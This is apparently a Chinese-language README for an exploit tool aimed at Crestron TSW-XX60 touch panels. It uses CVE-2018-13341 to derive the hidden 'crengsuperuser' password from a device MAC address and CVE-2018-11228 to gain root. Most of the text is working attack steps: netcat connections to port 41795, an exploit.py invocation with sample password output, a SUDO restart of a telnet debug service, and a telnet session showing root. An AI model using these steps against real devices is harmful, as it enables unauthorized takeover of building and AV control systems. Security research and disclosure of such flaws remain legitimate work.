此工具旨在利用CVE-2018-13341漏洞,通过使用目标设备的MAC地址,你可以恢复具有提升权限的隐藏账户 "crengsuperuser" 的密码,并允许你运行 SUDO 命令。
可以通过访问TSW-XX60设备上的端口 41795 来连接Crestron Toolbox Protocol (CTP)。
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
此工具需要 CryptoGraphy 模块。
# pip3 install cryptography
或者
# pip3 install -r requirements.txt
usage: exploit.py [-h] [-m MAC]
# Example
# python3 exploit.py -m aabbccddeeff
[*] Device MAC address: AAXXYYZZ
[*] Password for 'crengsuperuser': somerandompass
CVE-2018-11228 允许通过Crestron Terminal Protocol (CTP) 中的Bash Shell服务进行未认证的远程代码执行(RCE)。获取隐藏账户 "crengsuperuser" 的密码后,你可以获得机器的 root 权限。
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
然后,在一个新 shell 中,你可以获得该设备的 root 权限。
# telnet w.x.y.z
bash# whoami
root
Credit Goes to : axcheron